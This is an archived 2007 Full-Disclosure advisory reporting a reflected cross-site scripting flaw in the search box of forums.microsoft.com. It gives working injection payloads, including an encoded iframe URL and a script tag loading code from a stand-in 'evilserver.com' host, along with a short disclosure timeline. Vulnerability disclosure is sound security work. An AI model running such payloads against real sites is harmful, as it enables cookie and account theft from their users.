Home / exploits

PDF

msforums-xss.txt

Posted on 07 September 2007

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

XSS in http://forums.microsoft.com/ - could lead to cookie/account
stealing, information disclosure and more...

Start e.g. here:
http://forums.microsoft.com/Genuine/default.aspx?SiteID=25

Enter one of the following examples in searchbox of forum, the
second searchbox on page (not "Search Microsoft.com for"):

Example 1
"><script>alert("xss")</script><x x="

Example 2
"><br><iframe width=700 height=400 src=http://google.com/><x x="

Example 2 as full URL:

All in one line:

http://forums.microsoft.com/Genuine/Search/Search.aspx?words=%22%3e%
3cbr%3e%3ciframe+width%3d700+height%3d400+src%3dhttp%3a%2f%2fgoogle.
com%2f%3e%3cx+x%3d%22&localechoice=9&SiteID=25&searchscope=allforums

Remove linebreaks:

http://forums.microsoft.com/Genuine/Search/Search.aspx?words=%22
%3e%3cbr%3e%3ciframe+width%3d700+height%3d400+src%3dhttp%3a%2f%2
fgoogle.com%2f%3e%3cx+x%3d%22&localechoice=9&SiteID=25&searchsco
pe=allforums

Example 3
"><script src=http://evilserver.com/evil.js></script><x x="

The length of searchstring is limited, but we can include scripts
from evilserver.com, so that doesn't matter at all. Example 3 has
been added after disclosure to MS.

Disclosure timeline:
04-Sep-2007: secure-at-microsoft.com (no response at all)
06-Sep-2007: public disclosure

-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Charset: UTF8
Version: Hush 2.5

wpwEAQECAAYFAkbf9uwACgkQFHZ6LRIhCQUcDAP/YuFdpIRkC3QgEFzjoM59rgW8CZD1
YsDbO2bWeKUzEFAoRqRzhvNhMax3/QEFi3Z61DoRANbvrYumkPZ7cbexgbDzyfqEegVj
bjU/1QITCJMYb7utgg1w3wX5WTXKa6mr19bhVou/gHKmYs+ddPL+aIR1Dji32M881euk
hUMhBGY=
=R376
-----END PGP SIGNATURE-----

--
Tired of renting? Click here to buy a home without breaking the bank.  Get an interest only loan.
http://tagline.hushmail.com/fc/Ioyw6h4dQLQgODJBWkHuQkD2UTaSLwrDsAymv6lIlffqOET7ql7qHG/


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 

TOP